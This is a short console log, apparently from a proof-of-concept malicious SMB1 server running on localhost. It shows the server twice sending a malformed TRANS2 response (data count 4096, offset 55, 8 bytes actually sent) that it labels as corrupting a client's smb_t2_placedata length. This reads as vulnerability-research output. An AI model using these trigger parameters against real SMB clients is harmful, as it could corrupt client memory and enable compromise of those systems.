[srv] malicious SMB1 server listening on 127.0.0.1:139 [srv] client connected [srv] NBSSN request type=0x81 len=68 -> POSRESP [srv] recv cmd=0x72 pid=1 tid=65535 uid=65535 mid=0 len=164 [srv] send 69-byte SMB (cmd=0x72) [srv] recv cmd=0x73 pid=1 tid=65535 uid=65535 mid=1 len=92 [srv] send 41-byte SMB (cmd=0x73) [srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=2 len=65 [srv] send 47-byte SMB (cmd=0x75) [srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=4 len=65 [srv] send 47-byte SMB (cmd=0x75) [srv] recv cmd=0x32 pid=1 tid=65535 uid=65535 mid=3 len=83 [srv] *** MALICIOUS TRANS2: dcount=4096 doff=55 actual=8 -> smb_t2_placedata m_len corruption [srv] send 63-byte SMB (cmd=0x32) [srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=6 len=65 [srv] send 47-byte SMB (cmd=0x75) [srv] recv cmd=0x34 pid=1 tid=65535 uid=65535 mid=5 len=37 [srv] send 35-byte SMB (cmd=0x34) [srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=8 len=65 [srv] send 47-byte SMB (cmd=0x75) [srv] recv cmd=0x32 pid=1 tid=65535 uid=65535 mid=7 len=83 [srv] *** MALICIOUS TRANS2: dcount=4096 doff=55 actual=8 -> smb_t2_placedata m_len corruption [srv] send 63-byte SMB (cmd=0x32) [srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=10 len=65 [srv] send 47-byte SMB (cmd=0x75) [srv] recv cmd=0x34 pid=1 tid=65535 uid=65535 mid=9 len=37 [srv] send 35-byte SMB (cmd=0x34) [srv] client done